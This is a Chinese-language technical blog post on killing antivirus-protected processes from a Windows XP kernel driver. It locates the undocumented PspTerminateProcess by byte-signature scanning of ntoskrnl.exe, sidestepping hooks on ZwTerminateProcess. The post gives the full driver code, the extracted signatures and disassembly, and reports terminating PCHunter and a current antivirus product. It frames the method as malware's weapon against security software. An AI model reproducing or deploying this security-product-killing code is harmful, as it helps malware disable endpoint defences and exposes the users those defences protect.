【技術分享】初探進程強殺
00前言
進程保護可以通過三環hook,諸如inline hook,IAT hook,不過在三環的hook都是雕蟲小計,很輕松的就可以發現被發現,一些AV或者EDR往往三環是沒有鉤子的。3環的病毒面對0環的反病毒往往是顯得弱小不堪,于是病毒也跳到0環,與反病毒公平展開博弈。
01ZwTerminateProcess
這是一個微軟已經文檔化了的內核API,能夠殺死一個其他的進程和它所對應的全部線程。
NTSYSAPI NTSTATUS ZwTerminateProcess( [in, optional] HANDLE ProcessHandle, [in] NTSTATUS ExitStatus);

只需要傳入一個進程句柄和一個退出碼,就可以殺死一個進程。那么可想而知,如果病毒調用這個內核api,即可殺死所有反病毒進程,但攻防不斷對抗,反病毒程序當然知道你要通過這個api就可以殺死我,于是就在內核下hook了這個api,如果結束的進程是我自己,我就不允許結束。
病毒自然也是不服氣,冥思苦想想到了新的辦法。
02PspTerminateProcess
這也是一個內核API,我們去微軟官網查這個函數。

可以看到是沒有這個函數的文檔的,但他存在嗎,難道是別人杜撰的?
不服氣的我去問windbg,windbg是通過pdb文件去解析的,能告訴我們很多不為人知的秘密。
u PspTerminateProcess l40

還真有,經過大佬指點,原來這是微軟偷偷自己在用的函數,并且沒有給我們說,但他確實是存在的,這叫未文檔化函數。
那么如果我們想要調用這個函數怎么辦呢?windbg可以通過pdb文件找到這個函數,我們則可以通過另外的方式找到他。
1.暴力搜索,提取該函數的特征碼,全盤搜索。
2.如果有已文檔化的函數調用了PspTerminateProcess,那我們就可以通過指針加偏移的方式獲取到他的地址,同樣可以調用。
本文就只講述第一種方式,提取特征碼后暴力搜索。
暴力搜索
暴力搜索首先是要明確搜什么,在哪搜。
在哪搜
在哪搜索這個是比較明確的,內核的api大概率都在ntoskrnl.exe中。
那怎么獲取到ntoskrnl.exe的基址和大小呢?通過內核模塊遍歷就可以。
驅動函數入口的第一個參數指向的是DRIVER_OBJECT結構體。
kd> dt _DRIVER_OBJECT

在+0x014的位置,名為DriverSection的成員,指向的也是一個結構體_LDR_DATA_TABLE_ENTRY
kd> dt _LDR_DATA_TABLE_ENTRY

這個結構體詳細的說明了當前模塊的一些信息,在偏移為0的位置名為InLoadOrderLinks,通過名字來看也知道他是一個鏈表,實際上是通過這個鏈表將所有的模塊都串在一起。
kd> dt _LIST_ENTRY

通過這個鏈表我們可以獲取到其他所有模塊的信息,自然也就能夠獲得ntoskrnl.exe模塊的信息。
基址和大小就在下面兩個成員里。

搜什么
自然是搜索特征碼,那么這個特征碼怎么提呢?
kd> u pspterminateprocess l40nt!PspTerminateProcess:805c9da4 8bff mov edi,edi805c9da6 55 push ebp805c9da7 8bec mov ebp,esp805c9da9 56 push esi805c9daa 64a124010000 mov eax,dword ptr fs:[00000124h]805c9db0 8b7508 mov esi,dword ptr [ebp+8]805c9db3 3b7044 cmp esi,dword ptr [eax+44h]805c9db6 7507 jne nt!PspTerminateProcess+0x1b (805c9dbf)805c9db8 b80d0000c0 mov eax,0C000000Dh805c9dbd eb5a jmp nt!PspTerminateProcess+0x75 (805c9e19)805c9dbf 57 push edi805c9dc0 8dbe48020000 lea edi,[esi+248h]805c9dc6 f6470120 test byte ptr [edi+1],20h805c9dca 7412 je nt!PspTerminateProcess+0x3a (805c9dde)805c9dcc 8d8674010000 lea eax,[esi+174h]805c9dd2 50 push eax805c9dd3 56 push esi805c9dd4 68769d5c80 push offset nt!NtTerminateProcess+0x14c (805c9d76)805c9dd9 e896eeffff call nt!PspCatchCriticalBreak (805c8c74)805c9dde 6a08 push 8805c9de0 58 pop eax805c9de1 f00907 lock or dword ptr [edi],eax805c9de4 6a00 push 0805c9de6 56 push esi805c9de7 e88a4f0000 call nt!PsGetNextProcessThread (805ced76)805c9dec 8bf8 mov edi,eax805c9dee 85ff test edi,edi805c9df0 741e je nt!PspTerminateProcess+0x6c (805c9e10)805c9df2 ff750c push dword ptr [ebp+0Ch]805c9df5 57 push edi805c9df6 e807fdffff call nt!PspTerminateThreadByPointer (805c9b02)805c9dfb 57 push edi805c9dfc 56 push esi805c9dfd e8744f0000 call nt!PsGetNextProcessThread (805ced76)805c9e02 8bf8 mov edi,eax805c9e04 85ff test edi,edi805c9e06 75ea jne nt!PspTerminateProcess+0x4e (805c9df2)805c9e08 3986bc000000 cmp dword ptr [esi+0BCh],eax805c9e0e 7406 je nt!PspTerminateProcess+0x72 (805c9e16)805c9e10 56 push esi805c9e11 e8baf5feff call nt!ObClearProcessHandleTable (805b93d0)805c9e16 33c0 xor eax,eax805c9e18 5f pop edi805c9e19 5e pop esi805c9e1a 5d pop ebp805c9e1b c20800 ret 8805c9e1e cc int 3805c9e1f cc int 3805c9e20 cc int 3805c9e21 cc int 3805c9e22 cc int 3805c9e23 cc int 3
我們可以將上面所有的硬編碼都提取出來,然后再進行搜索,但是這樣有意義么,或者意義大嗎?
顯然,特征碼只需要提取其中一小塊就可以達到效果。比如805c9db0那個位置上,就可以提取4個字節的特征碼,因為并不是所有的api都會把ebp+8中存儲的值放到esi中,是比較小眾的。但光這四個字節是說明不了問題的,所以還要加一些特征碼。
加一些特征碼并不意味著連續,最好的方式就是隔一段代碼,再提取,我們只需要判斷相對偏移地址上的硬編碼是不是與特征碼相同就行了。按照這個思路,我這里提取了三段。
ULONG str1 = 0x3b08758b;ULONG str2 = 0x0248be8d;ULONG str3 = 0x0174868d;
03代碼實現
首先需要定義一個_LDR_DATA_TABLE_ENTRY結構體。
typedef struct _LDR_DATA_TABLE_ENTRY{ LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; ULONG DllBase; ULONG EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; LIST_ENTRY HashLinks; ULONG SectionPointer; ULONG CheckSum; ULONG TimeDateStamp; ULONG LoadedImports; ULONG EntryPointActivationContext; ULONG PatchInformation;
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
通過遍歷模塊找到ntoskrnl.exe的基址和大小,有了這兩個值就可以搜索了。
UNICODE_STRING ntoskrnl = { 0 };RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;//DbgPrint("%ws", PMoudleLinkDriver->BaseDllName.Buffer);PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
while (x != 0){ PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink; x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);}ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;
搜索代碼,遍歷整個ntoskrnl.exe的硬編碼。特征碼就是上面提取到的三組12字節的硬編碼。
for (ULONG i = pNtoskrnlBase;i< pNtoskrnlBase + pNtoskrnlLimit; i++) { //DbgPrint("%x", *(PULONG)i); if (*(PULONG)i == str1) { if (*(PULONG)(i + 0x10) == str2) { if (*(PULONG)(i + 0x1c) == str3) { PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc); break; } } }
}
定義函數指針,我們需要有這個函數指針去執行這個函數。
typedef NTSTATUS(*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);
函數的第一個參數是PEPROCESS類型的,可以通過PsLookupProcessByProcessId函數獲得。

PEPROCESS pEprocesszz = NULL;NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);if (status != STATUS_SUCCESS) { DbgPrint(TEXT("獲取進程的PEPROCESS失敗")); return status;}
第二個參數是out型參數,會返回一個PEPROCESS結構體,第一個參數傳入一個pid就可以了。
最后判斷一下是否殺死了。
status = PspTerminateProcess(pEprocesszz,0);if (status != STATUS_SUCCESS){ DbgPrint(TEXT("殺死進程失敗"));}DbgPrint(TEXT("殺死進程成功"));
04效果展示
選擇要強殺的進程是pchunter.exe。這種內核工具具有一定保護自身的功能。在用戶層甚至看不到用戶名。

我們嘗試直接結束。果然是不行的。

加載我們自己的驅動試試。

運行驅動瞬間,pchunter被結束掉了。
這里有同學就說了,你殺個pchunter干什么?于是我下了個某av。最新版的。

嘗試結束其中一個進程。

加載我們自己的驅動。

05后記
不同os的PspTerminateProcess函數名已經發生變化,感興趣的同學自行拓展,本文的os是xp。
同樣可以自行挖掘,未導出文檔函數還有很多,都將成為對抗利器。